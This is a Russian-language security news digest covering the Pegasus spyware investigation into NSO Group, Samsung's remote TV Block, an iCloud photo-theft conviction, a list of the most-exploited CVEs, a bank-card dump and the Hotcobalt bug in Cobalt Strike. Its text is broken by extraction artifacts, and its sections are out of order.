извест­ но за пред­ елам­ и ИБ‑сообщ­ ест­ ва. Итак, TL;DR: сущест­ вую­ т комп­ ании, у которых есть нулевые дни и  шпио­ нское ПО, спос­ обн­ ые удал­ енн­ о взлам­ ывать телефон­ ы. Обычн­ о все это  прод­ аетс­ я прав­ ительс­ твам, которые затем использ­ уют [эти инст­ рум­ ент­ ы] для атак на „терр­ орист­ ов“ (во мног­ их случ­ аях это прост­ о означ­ ает любого, кого власт­ и счит­ ают угроз­ ой). Расп­ лывч­ атое опред­ елен­ ие терм­ ина „терр­ орист“ варьи­ руе­ тся от государст­ ва к государст­ ву, и мног­ ие (особ­ енн­ о автор­ итарн­ ые государст­ ва) счит­ ают актив­ ис‐­ тов и журн­ алист­ ов угроз­ ами. Реальн­ ость такова, что „остан­ овить терр­ орист­ ов“ легк­ о превр­ ащае­ тся в  „шпио­ нить за  всем­ и, кто нам не  нрав­ итс­ я“, и  именн­ о об этом повест­ вуе­ т данн­ ая утечк­ а» — Марк­ ус Хатч­ инс в свое­ м Twitter УДАЛЕННАЯ БЛОКИРОВКА ОТ SAMSUNG Комп­ ания Samsung заявил­ а, что может удал­ енн­ о отключ­ ить любой из  свои­ х телевиз­ оров с помощью функ­ ции TV Block, которая встрое­ на в прод­ укт­ ы, про‐­ давае­ мые по всем­ у миру. Поводом для этог­ о заявл­ ения посл­ ужили июльс­ кие бесп­ орядк­ и в  Южной Африк­ е, которые прив­ ели к  крупн­ омасш­ табн­ ым гра‐­ бежам, затр­ онувш­ им в том числ­ е склад­ ы и магазин­ ы Samsung. « «TV Block  — это  удал­ енн­ ое защитн­ ое решение, которое опред­ еляе­ т, были ли телевиз­ оры Samsung актив­ иров­ аны ненадл­ ежащим образ­ ом, и  гарант­ ируе­ т, что телевиз­ оры могут использ­ оватьс­ я тольк­ о закон-­ ными влад­ ельц­ ами, у которых есть доказат­ ельс­ тво соверш­ ения покуп-­ ки. Цель данн­ ой техн­ ологии  — прот­ ивод­ ейс­ твие созд­ анию втор­ ичн­ ых рынк­ ов, связ­ анн­ ых с  прод­ ажей нелегальн­ ых товаров, как  в Южной Африк­ е, так и  за ее пред­ елам­ и. Эта техн­ ология пред­ уст­ ановл­ ена на  все телевиз­ ионн­ ые прод­ укт­ ы Samsung»,  — глас­ ит офиц­ иальн­ ое »заявл­ ение. СМИ сообщ­ или, что функ­ ция TV Block была удал­ енн­ о актив­ иров­ ана на  всех телевиз­ орах, украд­ енн­ ых со склад­ ов или из магазин­ ов: их серийн­ ые номера добавил­ и в спец­ иальн­ ый спис­ ок на серв­ ерах Samsung. Посл­ е того как укра‐­ денн­ ый телевиз­ ор будет подк­ люч­ ен к интернет­ у, устройс­ тво пров­ ерит спис­ ок украд­ енн­ ых устройс­ тв и автом­ атич­ еск­ и отключ­ ит все телевиз­ ионн­ ые функ­ ции, если обнар­ ужит совп­ адение. «Эта техн­ ология может быть полезн­ а в  наст­ оящее врем­ я, а  такж­ е « будет полезн­ а как  для отрасли, так и  для наших клие­ нтов »в будущем», — заявл­ яют в комп­ ании. И хотя сейч­ ас TV Block дейс­ твит­ ельн­ о был полезен комп­ ании, функ­ цио­ наль‐­ ность вызывае­ т некотор­ ые опас­ ения. К прим­ еру, можн­ о предс­ тав­ ить, что про‐­ изойд­ ет, если злоу­ мышл­ енник­ и взлом­ ают серв­ еры комп­ ании и  получат дос‐­ туп к  списк­ у для  блок­ ировк­ и, использ­ уемом­ у для  удал­ енн­ ого отключ­ ения телевиз­ оров. УВОЛЕННЫЕ ИЗ GOOGLE В расп­ оряжен­ ии издан­ ия СМИ оказ­ ались внутр­ енние документ­ ы Google, расс­ каз­ ываю­ щие о расс­ лед­ ован­ иях случ­ аев, когд­ а сотр­ удник­ и комп­ ании использ­ овали свои позиции для краж­ и, слив­ ов или злоу­ потр­ еблен­ ий данн­ ыми, к которым имел­ и дост­ уп. Согл­ асно этим бумагам, в перио­ д с 2018 по 2020 год комп­ ания увол­ ила дес­ ятк­ и сотр­ удни-­ ков за  злоу­ потр­ еблен­ ие дост­ упом к  внутр­ енним инст­ рум­ ент­ ам и  данн­ ым (включ­ ая информа‐­ цию о польз­ овател­ ях и сотр­ удник­ ах). К прим­ еру, в 2020 году Google увол­ ила 36 сотр­ удник­ ов из‑за пробл­ ем, связ­ анн­ ых с безопас‐­ ностью. 86% таких обвин­ ений касались злоу­ потр­ еблен­ ия конф­ иденц­ иальн­ ой информац­ ией, напр­ имер передач­ а внутр­ енних данн­ ых Google третьи­ м стор­ онам. Еще 10% обвин­ ений в  2020  году затр­ агивал­ и непр­ авомерн­ ое использ­ ование разл­ ичных сис‐­ тем, включ­ ая дост­ уп к данн­ ым польз­ овател­ ей или сотр­ удник­ ов, помощь друг­ им лицам в получе‐­ нии дост­ упа к этим данн­ ым, а такж­ е измен­ ение или удал­ ение данн­ ых польз­ овател­ ей или сот‐­ рудник­ ов. →Продолжение статьи

← Начало статьи ВОРОВАННЫЕ НЮДСЫ 40-летн­ ий житель Лос‑Анджел­ еса Хао Ко  Чи (Hao Kuo Chi) призн­ ал себя виновн­ ым в хищении более 620 тысяч личн­ ых фото и 9 тысяч видео из чужих аккау­ нтов iCloud. Прок­ урат­ ура Флор­ иды, которая выдв­ инула прот­ ив него обвин­ ения в  заговор­ е и  компью­ терн­ ом мошенн­ ичест­ ве, сообщ­ ила, что в  сети Чи был известен под  ником icloudripper4you и  прод­ авал свои «услуг­ и» по  взлом­ у iCloud. «Клие­ нты» указ­ ывал­ и ему на  конк­ ретн­ ую учетн­ ую запись iCloud, которую нужн­ о взлом­ ать, посл­ е чего Чи и  его неопозн­ анные сообщ­ ник­ и выдавал­ и себя за  предс­ тав­ ител­ ей служб­ ы подд­ ерж­ ки Apple в  сообщ­ ения­ х, которые прис­ ылал­ и целям по элект­ ронн­ ой почт­ е. Обман­ ом выведав учетн­ ые данн­ ые от iCloud жертв, мошенн­ ики похищал­ и фото и видео из их аккау­ нтов. Групп­ а была активна с  сент­ ября  2014  года до  мая  2018  года, и  все это врем­ я злоу­ мышл­ енник­ и использ­ овали Apple ID и пароли жертв не тольк­ о для  выполн­ ения заказов на  взлом, но  и для  поиск­ а в  этих учетн­ ых записях фотогр­ афий и  видео обнаж­ енн­ ых людей. Найд­ енн­ ыми откров­ енн­ ыми фото и  видео Чи и  его сообщ­ ник­ и делились друг с  друг­ ом через «иност­ ранн­ ую служб­ у сквозн­ ого шифр­ ования элект­ ронн­ ой почт­ ы для  сохр­ анения анон­ им‐­ ности». В этом месяце Чи призн­ ал себя виновн­ ым и  подт­ верд­ ил, что получил несанк­ цио­ нир­ ованн­ ый дост­ уп по крайн­ ей мере к 306 учетн­ ым записям iCloud (в основном аккау­ нты прин­ адл­ ежали молодым женщ­ инам) в  Ариз­ оне, Калифорн­ ии, Кент­ укки, Конн­ ектик­ уте, Луизиане, Масс­ ачусетс­ е, Мэне, Огайо, Пенс­ ильв­ ании, Техасе, Флор­ иде и Южной Каролин­ е. По данн­ ым издан­ ия Los Angeles Times, агент­ ы ФБР нашл­ и более 500 тысяч мошенн­ ическ­ их писем в  двух учетн­ ых записях Gmail (backupagenticloud и applebackupicloud), которые использ­ овались для этой схем­ ы, а такж­ е учет‐­ ные данн­ ые прим­ ерн­ о для  4700  аккау­ нтов iCloud. В  аккау­ нте Чи в  Dropbox, который использ­ овалс­ я для  хран­ ения украд­ енн­ ых файл­ ов и  обмен­ а ими, обнар­ ужил­ и окол­ о  620  тысяч фотогр­ афий и  9  тысяч видео общим объе­ мом более 1 Тбайт. Поп­ алс­ я Чи весьм­ а прост­ о. Еще в 2018 году неназв­ анный общест­ венн­ ый деятель из Тамп­ ы обнар­ ужил свои обнаж­ енн­ ые фотогр­ афии на порн­ осайт­ ах. Фото нашл­ а калифорн­ ийс­ кая комп­ ания, которая спец­ иализ­ ируе­ тся на  уда‐­ лении фотогр­ афий знам­ енит­ ост­ ей из интернет­ а. Так как эти фото хран­ ились тольк­ о на  iPhone (откуд­ а были скоп­ иров­ аны в  iCloud), жерт­ ва обрат­ илась в прав­ оохр­ анительн­ ые орган­ ы, стрем­ ясь найт­ и источник утечк­ и. Прав­ оохр­ анител­ и быст­ ро выясн­ или, что Чи выходил в iCloud жерт­ вы прям­ о из  свое­ го дома в  Ла‑Пуэнт­ е, в  Калифорн­ ии. К  тому врем­ ени, когд­ а ФБР получил­ о ордер и  пров­ ело обыск в  его доме, прав­ оохр­ анител­ и уже имел­ и четк­ ое предс­ тавл­ ение о деятельн­ ост­ и Чи благ­ одар­ я данн­ ым, которые по зап‐­ росу суда пред­ ост­ авили Dropbox, Google, Apple, Facebook и  Charter Communications. САМЫЕ АТАКУЕМЫЕ БАГИ Экс­ перт­ ы ФБР, Агентства по  киберб­ езопасн­ ости и  защите инфраструкт­ уры, орган­ изов­ анн­ ого при  Минист­ ерст­ ве внутр­ енней безопасн­ ости США (DHS CISA), Авст­ рал­ ийс­ ког­ о цент­ ра кибер‐­ безопасн­ ости (ACSC), а  такж­ е Нацио­ нальн­ ого цент­ ра киберб­ езопасн­ ости Великобр­ итании (NCSC) выпуст­ или совм­ ест­ ную рекоменд­ ацию по  безопасн­ ости, в  которой перечисл­ или уяз‐­ вимост­ и, наибол­ ее «популярн­ ые» у прест­ упник­ ов в 2020 и 2021 году. На основ­ е данн­ ых, собр­ анных прав­ ительс­ твом США, больш­ ая часть самых атак­ уемых уязв­ имос‐­ тей была обнар­ ужен­ а посл­ е нач­ ала 2020 года, а мног­ ие баги явно связ­ аны с повс­ емест­ ным переход­ ом на удал­ енн­ ую работу. Чет­ ыре уязв­ имост­ и, чаще всег­ о использ­ ованн­ ые в 2020 году, оказ­ ались связ­ аны с удал­ енн­ ой работой, VPN и обл­ ачным­ и серв­ исами. В 2021 году хакеры прод­ олж­ или нацелив­ атьс­ я на уязв­ имост­ и в устройс­ твах периметр­ а. Сред­ и багов, которые активно использ­ овались в 2021 году, были пробл­ емы в прод­ укт­ ах Microsoft, Pulse, Accellion, VMware и Fortinet. Комп­ ания CVE Тип Citrix CVE-2019-19781 Arbitrary code execution Pulse Secure CVE 2019-11510 Arbitrary file reading Fortinet CVE 2018-13379 Path traversal F5- Big IP CVE 2020-5902 RCE MobileIron CVE 2020-15505 RCE Microsoft CVE-2017-11882 RCE Atlassian CVE-2019-11580 RCE Drupal CVE-2018-7600 RCE Telerik CVE 2019-18935 RCE Microsoft CVE-2019-0604 RCE Microsoft CVE-2020-0787 Elevation of privilege Netlogon CVE-2020-1472 Elevation of privilege В итог­ е спис­ ок самых «популярн­ ых» багов 2021 года выгл­ ядит так: Microsoft Exchange Server: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858  и  CVE- 2021-27065 (уязв­ имост­ и ProxyLogon); Pulse Secure: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899 и CVE-2021-22900; Accellion: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103 и CVE-2021-27104; VMware: CVE-2021-21985; Fortinet: CVE-2018-13379, CVE-2020-12812 и CVE-2019-5591. СЛИВ МИЛЛИОНА БАНКОВСКИХ КАРТ Нео­ бычн­ ую рекл­ амную акцию пров­ ели опер­ атор­ ы подп­ ольн­ ого марк­ етп­ лейс­ а AllWorld Cards. Они опубл­ иковал­ и на мног­ их хакерс­ ких форумах данн­ ые мил‐­ лиона банк­ овс­ ких карт, украд­ енн­ ых в перио­ д с 2018 по 2019 год. Злоу­ мышл­ енник­ и заявил­ и, что случ­ айн­ ая выборк­ а из  98  карт показал­ а, что прим­ ерн­ о  27% карт из  подб­ орки до  сих пор активны. Но  по данн­ ым италь‐­ янской ИБ‑фирм­ ы D3Labs, до сих пор работаю­ т окол­ о 50% карт. « «В наст­ оящее врем­ я результ­ аты, полученн­ ые нашей анал­ итич­ еск­ ой групп­ ой, еще  огран­ иченн­ ы, но  они показыв­ ают, что окол­ о  50% карт все еще  работаю­ т и  не отмеч­ ены как  скомп­ ром­ етир­ ованн­ ые»,  — »пишут исслед­ оват­ели. ИБ‑комп­ ания Cyble тоже проа­ нал­ изир­ овал­ а этот дамп и сообщ­ ила, что утечк­ а содерж­ ит номера карт, даты оконч­ ания срок­ а дейс­ твия, CVV, имен­ а влад­ ель‐­ цев, информац­ ию о  стран­ е, штат­ е, городе, адрес­ е, почт­ овом индексе для  кажд­ ой карт­ ы, а  такж­ е номер телефон­ а или  адрес элект­ ронн­ ой почт­ ы. Пока анал­ итик­ и Cyble проа­ нал­ изир­ овал­ и тольк­ о  400  тысяч карт и  пишут, что больш­ е всег­ о пост­ рад­ али след­ ующие банк­ и: • Гос­ ударст­ венн­ ый банк Индии (44 654 карт­ ы); • JPMorgan Chase Bank NA (27 440 карт); • BBVA Bancomer (21 624 карт­ ы); • The Toronto-Dominion Bank (14 647 карт); • Poste Italiane S. p. A. (Banco Posta) (14 066 карт). Исс­ лед­ оват­ ели отмеч­ ают, что All World Cards  — новый сайт на  кард­ ерс­ кой сцен­ е и его необычн­ ая рекл­ ама была встреч­ ена с одобр­ ение­ м мног­ ими зло‐­ умышл­ енник­ ами. Торг­ овая площ­ адк­ а была запущен­ а в мае 2021 года и в нас‐­ тоящее врем­ я насч­ итывае­ т 2 634 615 карт. Цены на карт­ ы здесь варьи­ рую­ тся от 0,30 до 14,40 долл­ ара, прич­ ем 73% карт стоя­ т от 3 до 5 долл­ аров. УТЕЧКА ORIFLAME На хакерс­ ком форуме RaidForums прод­ ают скан­ ы пасп­ ортов 1,3  милл­ иона росс­ ийс­ ких кли‐­ ентов косм­ етическ­ ой комп­ ании Oriflame. Комп­ ания дейс­ твит­ ельн­ о сообщ­ ала, что  31  июля и 1 августа она подв­ ерг­ лась серии киберат­ ак и злоу­ мышл­ енник­ и получил­ и несанк­ цио­ нир­ ован‐­ ный дост­ уп к ее информац­ ионн­ ым сист­ емам. В комп­ ании призн­ али, что пост­ рад­ али клие­ нты не тольк­ о из Росс­ ии, но и из друг­ их стран СНГ и  Азии. В  расп­ оряжен­ ии хакеров оказ­ ались копии удост­ оверен­ ий личн­ ости, но  такие данн­ ые, как номер банк­ овс­ ког­ о счет­ а, номера телефон­ ов и пароли, не были затр­ онуты атак­ ой. УЯЗВИМОСТЬ В COBALT STRIKE Исс­ лед­ оват­ ели SentinelOne обнар­ ужил­ и DoS-уязв­ имость в  Cobalt Strike, которая позв­ оляе­ т блок­ иров­ ать управлен­ ие маякам­ и, а  такж­ е новые раз‐­ вертыв­ ания. Нап­ омн­ ю, что этот легитимн­ ый комм­ ерческ­ ий инст­ рум­ ент, созд­ анный для  пент­ естер­ ов и  red team и  орие­ нтир­ ованн­ ый на  эксп­ луа­ тац­ ию и  пост­ экс‐­ плуа­ тац­ ию, давн­ о любим хакерам­ и, начиная от прав­ ительс­ твенн­ ых APT-груп‐­ пировок и  заканч­ ивая опер­ атор­ ами шифр­ овальщ­ иков. Хотя он недост­ упен для  рядовых польз­ овател­ ей и  полн­ ая верс­ ия оцен­ ивае­ тся прим­ ерн­ о в  3500  долл­ аров за  устан­ овк­ у, злоу­ мышл­ енник­ и все равн­ о находят спос­ обы его использ­ овать (к прим­ еру, полагаю­ тся на стар­ ые, пиратс­ кие, взлом­ анн­ ые и незарег­ ист­ рир­ ованн­ ые верс­ ии). Как прав­ ило, злоу­ мышл­ енник­ и использ­ уют взлом­ анн­ ые верс­ ии Cobalt Strike для  получен­ ия устойч­ ивого удал­ енн­ ого дост­ упа к  скомп­ ром­ етир­ ован‐­ ной сети (и пост­ эксп­ луа­ тац­ ии посл­ е разв­ ертыв­ ания так называе­ мых маяков) и нередк­ о прим­ еняю­ т его во врем­ я вымогат­ ельс­ ких атак. Спец­ иалист­ ы SentinelOne сообщ­ ают, что обнар­ ужил­ и уязв­ имость CVE- 2021-36798 (получивш­ ую назв­ ание Hotcobalt) в  посл­ едних верс­ иях серв­ ера Cobalt Strike. Баг позв­ оляе­ т зарегист­ рир­ овать подд­ ельн­ ые маяки на серв­ ере конк­ ретн­ ой устан­ овк­ и Cobalt Strike, а  затем, отправл­ яя фальш­ ивые задачи на этот серв­ ер, вывест­ и его из строя, исчерпав дост­ упную память. В результ­ ате уже устан­ овл­ енные маяки не  смог­ ут взаи­ мод­ ейс­ твов­ ать с C&C-серв­ ером, устан­ овк­ а новых маяков в зараженн­ ых сист­ емах тоже будет забл­ окиров­ ана, и  это помешае­ т red team или  злоу­ мышл­ енник­ ам исполь‐­ зовать разв­ ернут­ ые маяки. « «Активные маяки не смог­ут связ­ ыватьс­ я со свои­ м C&C-серв­ ером, пока опер­ атор­ ы его не перезап­ уст­ ят. Однак­ о перезап­ уск­ а тоже недост­ аточ-­ но для защиты от этой уязв­ имост­ и, поск­ ольк­ у можн­ о прод­ олж­ ать ата-­ ковать серв­ ер до  тех пор, пока он не  будет исправл­ ен или  пока кон-­ фигурац­ ия маяков не  будет измен­ ена»,  — пишут эксперт­ ы, пред-­ полагая, что прав­ оохр­ анительн­ ые орган­ ы и  ИБ‑исслед­ оват­ ели смог­ут »использ­ овать Hotcobalt для ликв­ идации инфраструкт­ уры хакеров. Уязв­ имость была обнар­ ужен­ а еще  в апрел­ е, и  разр­ аботч­ ики CobaltStrike HelpSystems устран­ или баг с релизом Cobalt Strike 4.4. ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА Chrome больш­ е не будет отобр­ ажать индик­ атор безопасн­ ости сайт­ ов Росс­ ийс­ кий суд оштраф­ овал Facebook, Twitter и WhatsApp на 36 милл­ ионов рубл­ ей Учен­ ые счит­ ают, что пром­ ежут­ очн­ ые устройс­ тва можн­ о использ­ овать для DDoS-атак Экс­ перт­ ы обнар­ ужил­ и андеграу­ ндный серв­ ис Prometheus TDS Western Digital незаметн­ о замедл­ ила бюдж­ етный SSD WD Blue SN550 на 40% Хак­ ер, похитивш­ ий 600 милл­ ионов у Poly Network, верн­ ул больш­ ую часть денег Майн­ инг­ овый ботн­ ет «разг­ оняе­ т» проц­ есс­ оры на взлом­ анн­ ых серв­ ерах Польз­ овател­ и  3D-принт­ еров получил­ и дост­ уп к  чужим устройс­ твам из‑за сбоя The  Spaghetti Detective У T-Mobile утекл­ и личн­ ые данн­ ые почт­ и 49 милл­ ионов клие­ нтов Баг в Razer Synapse: подк­ люч­ ение мыши к Windows-машине дает сист­ емные прив­ илег­ ии

HEADER ПРОЕКТ «ПЕГАС» КАК ОБЩЕСТВЕННОСТЬ УЗНАЛА ПРО NSO GROUP И ЕЕ СПАЙВАРЬ В середин­ е июня 2021 года прав­ озащ­ итн­ ая Мария «Mifrill» Нефёдова орган­ изац­ ия Amnesty International, неком‐­ [email protected] мерческ­ ий прое­ кт Forbidden Stories, а такж­ е более  80  журн­ алист­ ов конс­ орциу­ ма из  17  медиа­ орг­ анизац­ ий в  десяти стран­ ах мира опубл­ иковал­ и результ­ аты совм­ ест­ но‐­ го расс­ лед­ ован­ ия, котором­ у дали назв­ ание прое­ кт «Пегас». ПРОЕКТ «ПЕГАС» Спец­ иалист­ ы упом­ янут­ ых орган­ изац­ ий заявил­ и, что обнар­ ужил­ и масш­ табн­ ые злоу­ потр­ еблен­ ия шпио­ нским ПО, созд­ анным израи­ льс­ кой комп­ ание­ й NSO Group. Согл­ асно отчет­ у, спайв­ арь комп­ ании активно прим­ еняе­ тся для нарушен­ ия прав человек­ а и для набл­ юдения за политик­ ами, актив­ ист­ ами, журн­ алист­ ами и прав­ озащ­ итн­ иками по всем­ у миру. Речь идет о  небезызв­ ест­ ной малв­ ари Pegasus, которую вперв­ ые обна‐­ ружил­ и еще  в  2016  году. В посл­ едую­ щие годы ИБ‑спец­ иалист­ ы прод­ олж­ али нах­ одить все нов­ ые инцид­ ент­ ы с использ­ ование­ м Pegasus и крит­ иков­ ать NSO Group за  то, что комп­ ания прод­ ает свои решения прав­ ительс­ твам и  спец‐­ служб­ ам по всем­ у миру (зачаст­ ую стран­ ам с репр­ ессивн­ ыми режимам­ и), хотя использ­ ование малв­ ари в  итог­ е не  задокум­ ент­ ирован­ о практ­ ическ­ и никем и нигд­ е. Pegasus предн­ азнач­ ен для  шпио­ наж­ а и  спос­ обен собирать с  устройс­ тв на  базе iOS и  Android текс­ тов­ ые сообщ­ ения, информац­ ию о  прил­ ожен­ иях, подс­ луш­ ивать вызовы, отслеж­ ивать мест­ ополож­ ение, похищать пароли и так далее. « «Шпио­ нское ПО  NSO Group являе­ тся излюбленн­ ым оруж­ ием реп-­ рессивн­ ых режимов, стрем­ ящихс­ я заст­ авить замолч­ ать журн­ алист­ ов, атак­ овать актив­ ист­ ов и  подавить инак­ омысл­ ие, подв­ ергая опасн­ ости бесч­ исленн­ ое количест­ во жизн­ ей,  — заявл­ яет секр­ етарь Amnesty International Анье­ с Калл­ амар. — Обнар­ уженн­ ые нами [факт­ ы] опров­ ер-­ гают все заявл­ ения NSO о  том, что такие атак­ и редк­ и и  свод­ ятс­ я к  непр­ авомерн­ ому использ­ ованию их техн­ ологий. Хотя в  комп­ ании утверж­ даю­ т, что ее шпио­ нское ПО  прим­ еняе­ тся тольк­ о прот­ ив нас-­ тоящих прест­ упник­ ов и  для борьб­ ы с  терр­ оризм­ ом, ясно, что ее тех-­ нология поощр­ яет сист­ ематич­ еск­ ие злоу­ потр­ еблен­ ия. Они рисую­ т карт­ ину полн­ ой легитимн­ ости, но  извлек­ ают выгоду из  широко рас-­ простран­ енн­ ых нарушен­ ий прав человек­ а. Наш­ и посл­ едние открыт­ ия показыв­ ают, что клие­ нты NSO Group в наст­ оящее врем­ я могут удал­ енн­ о взлом­ ать даже посл­ едние модели »iPhone и все верс­ ии iOS». Дел­ о в  том, что в  расп­ оряжен­ ии исслед­ оват­ елей оказ­ алс­ я спис­ ок  50  тысяч телефонн­ ых номеров, которые якоб­ ы «предс­ тавл­ яли интер­ ес» для  клие­ нтов NSO Group и тщат­ ельн­ о отбир­ ались с 2016 года. И хотя сам факт прис­ утст­ вия номера в  этом списк­ е еще  не означ­ ает, что его влад­ елец обяз­ ательн­ о под‐­ верг­ ся атак­ е, заражен­ ие спайв­ арью удал­ ось подт­ верд­ ить «в десятк­ ах слу‐­ чаев». К прим­ еру, в  списк­ е можн­ о найт­ и данн­ ые политик­ ов, актив­ ист­ ов, жур‐­ налист­ ов, прав­ озащ­ итн­ иков, руковод­ ител­ ей предп­ рия­ тий, религио­ зных деятел­ ей, учен­ ых и так далее. Отдельн­ о подч­ еркив­ аетс­ я, что в списк­ е содер‐­ жались телефон­ ы как минимум десяти глав государств. В итог­ е расс­ лед­ ован­ ие выявил­ о клие­ нтов NSO Group как  минимум в 11 стран­ ах мира, включ­ ая Азерб­ айд­ жан, Бахр­ ейн, Венг­ рию, Индию, Казах‐­ стан, Марокк­ о, Мекс­ ику, ОАЭ, Руанд­ у, Саудовс­ кую Арав­ ию и  Того. При  этом Руанд­ а, Марокк­ о, Индия и  Венг­ рия посп­ ешили офиц­ иальн­ о заявить, что не использ­ овали Pegasus. Так как о сущест­ вов­ ании Pegasus и деятельн­ ост­ и NSO Group извест­ но давн­ о, мног­ ие задаю­ тся вопр­ осом: почему сканд­ ал разр­ азилс­ я тольк­ о сейч­ ас? Ведь ничего принц­ ипиа­ льн­ о нового в  докл­ аде не  содерж­ алось, и  вряд ли кого‑то в ИБ‑сообщ­ ест­ ве удив­ ило сущест­ вов­ ание спайв­ ари и того, о чем писали жур‐­ налист­ ы. Хор­ оший ответ на этот вопр­ ос дал у себя в Twitter извест­ ный ИБ‑эксперт, неск­ ольк­ о лет назад ост­ ановивш­ ий шифр­ овальщ­ ик Wannacry, Марк­ ус Хатч­ инс (MalwareTech): « «До сегодн­ яшнег­о дня я не  понимал, что нового в  этой истор­ ии, но  теперь я осозн­ ал, что, вероя­ тно, раньш­ е обо  всем этом не  было извест­ но за пред­ елам­ и ИБ‑сообщ­ ест­ ва. Итак, TL;DR: сущест­ вую­ т ком-­ пании, у  которых есть нулевые дни и  шпио­ нское ПО, спос­ обн­ ые уда-­ ленн­ о взлам­ ывать телефон­ ы. Обычн­ о все это  прод­ аетс­ я прав­ итель-­ ствам, которые затем использ­ уют [эти инст­ рум­ ент­ ы] для атак на „тер-­ рорист­ ов“ (во мног­их случ­ аях это прост­ о означ­ ает любого, кого власт­ и счит­ ают угроз­ ой). Расп­ лывч­ атое опред­ елен­ ие терм­ ина „терр­ орист“ варьи­ руе­ тся от  государст­ ва к  государст­ ву, и  мног­ие (особ­ енн­ о авто-­ ритарн­ ые государст­ ва) счит­ ают актив­ ист­ ов и  журн­ алист­ ов угроз­ ами. Реальн­ ость такова, что „остан­ овить терр­ орист­ ов“ легк­ о превр­ ащае­ тся в „шпио­ нить за всем­ и, кто нам не нрав­ итс­ я“, и именн­ о об этом повес-­ »твуе­ т данн­ ая утечк­ а». 0-DAY В IOS Инт­ ересн­ о, что в  ходе расс­ лед­ ован­ ия исслед­ оват­ елям удал­ ось обнар­ ужить iPhone под управлен­ ием посл­ едней верс­ ии iOS, взлом­ анн­ ый с помощью zero- click-эксп­ лои­ тов (не треб­ ующих никаког­ о взаи­ мод­ ейс­ твия с  польз­ овател­ ем) для iMessage. К прим­ еру, Amnesty International подт­ верд­ ила активное зараже‐­ ние работаю­ щег­ о под  управлен­ ием iOS 14.6 iPhone X актив­ ист­ а (CODE RWHRD1) от 24 июня 2021 года. « «Amnesty International обнар­ ужил­ а доказат­ ельс­ тва взлом­ а iPhone XR индийс­ ког­о журн­ алист­ а (CODE INJRN1), устройс­ тво работал­ о под  управлен­ ием iOS 14.6 (посл­ едняя верс­ ия, дост­ упная на  момент »написан­ ия) не далее как 16 июня 2021 года», — такж­ е глас­ ит отчет. Выв­ оды исслед­ оват­ елей были подт­ вержден­ ы Билл­ ом Марч­ аком, эксперт­ ом исслед­ оват­ ельс­ кой лаборат­ ории Citizen Lab, где пров­ ели независ­ имую экспертную оценк­ у прое­ кта «Пегас». « «Механик­ а работы этог­о zero-click-эксп­ лои­ та для iOS 14.x, по‑видимо-­ му, сущест­ венн­ о отлич­ аетс­ я от эксп­ лои­ та KISMET для iOS 13.5.1 и iOS 13.7. Это  позв­ оляе­ т предп­ оложить, что на  самом деле это  друг­ой »zero-click-эксп­ лои­ т для iMessage», — пишут эксперт­ ы Citizen Lab. БАН НА AMAZON Вскор­ е посл­ е выхода отчет­ а спец­ иалист­ ы Amazon Web Services (AWS) заб‐­ локиров­ али всю инфраструкт­ уру и  аккау­ нты, связ­ анн­ ые с  NSO Group. Дело в  том, что исслед­ оват­ ели заметил­ и, что «Pegasus отправл­ ял информац­ ию служб­ е, обслуж­ ивае­ мой Amazon CloudFront», то есть NSO Group в посл­ едние месяцы перешл­ а на использ­ ование AWS. Инф­ раструкт­ ура CloudFront использ­ овалась при разв­ ертыв­ ании вред­ онос‐­ ного ПО  для ряда целей, включ­ ая телефон франц­ узс­ ког­ о юрист­ а по  прав­ ам человек­ а. Исслед­ оват­ ели отмеч­ али, что переход на  CloudFront в  некотор­ ой степ­ ени защищае­ т NSO от  исслед­ оват­ елей или  друг­ их третьи­ х лиц, пыта‐­ ющихс­ я изуч­ ить инфраструкт­ уру комп­ ании. Кром­ е того, в  отчет­ е сказ­ ано, что NSO такж­ е польз­ уетс­ я услуг­ ами друг­ их комп­ аний, таких как Digital Ocean, OVH и Linode. «Когд­ а мы узнал­ и об  этой активност­ и, мы опер­ ативн­ о закр­ ыли соот-­ « ветст­ вую­ щую инфраструкт­ уру и учетн­ ые записи», — заявил­ и предс­ та-­ »вител­ и AWS. РЕАКЦИЯ NSO GROUP Предс­ тав­ ител­ и NSO Group редк­ о молч­ ат в  ответ на  подобн­ ые обвин­ ения. Обычн­ о в  комп­ ании отвеч­ ают, что прод­ ают свои инст­ рум­ ент­ ы тольк­ о государст­ венн­ ым заказч­ икам и  прав­ оохр­ анительн­ ым орган­ ам, но  не могут конт­ рол­ иров­ ать, что клие­ нты делаю­ т с этим­ и инст­ рум­ ент­ ами далее. Этот раз не стал исключ­ ение­ м. В заявл­ ении для The Guardian предс­ тав­ ител­ и комп­ ании сообщ­ или след­ ующее: « «NSO не  управляе­ т сист­ емами, которые прод­ ает пров­ еренн­ ым государст­ венн­ ым заказч­ икам, и  не имее­ т дост­ упа к  данн­ ым о  целях свои­ х клие­ нтов. NSO не использ­ ует свои техн­ ологии, не собирае­ т дан-­ ные свои­ х клие­ нтов, не  влад­ еет ими и  не имее­ т дост­ упа к  ним. По  договорн­ ым прич­ инам и  сообр­ ажения­ м нацио­ нальн­ ой безопас-­ ности NSO не  может подт­ верд­ ить или  опров­ ерг­нуть личн­ ость наших »государст­венн­ ых клие­ нтов». Такж­ е на сайт­ е комп­ ании появил­ ось офиц­ иальн­ ое заявл­ ение, в котором NSO Group отриц­ ает все обвин­ ения, называя их ложн­ ыми: « «Пров­ ерив заявл­ ения [Amnesty International и  Forbidden Stories], мы решительн­ о отриц­ аем все ложн­ ые утверж­ ден­ ия, содерж­ ащие­ ся в  их отчет­ е. Их источник­ и пред­ ост­ авили информац­ ию, не  имею­ щую фак-­ тическ­ их основ­ аний, о  чем свид­ етельс­ твуе­ т отсутст­ вие подт­ вержда-­ ющей документ­ ации для  мног­их их заявл­ ений. На  самом деле эти обвин­ ения наст­ ольк­ о возм­ утительн­ ы и далеки от реальн­ ост­ и, что NSO »расс­ матр­ ивае­ т вопр­ ос подачи иска о клев­ ете». Вскор­ е посл­ е этог­ о предс­ тав­ ител­ и комп­ ании и  вовс­ е расп­ ростран­ или пресс‑релиз, в котором заявил­ и, что отнын­ е отказ­ ываю­ тся говорить со СМИ и как‑либо комм­ ентир­ овать отчет Amnesty International и Forbidden Stories. « «Всем­ у есть пред­ ел. В  свет­ е недавн­ ей хорошо сплан­ иров­ анн­ ой и  орган­ изов­ анн­ ой камп­ ании в  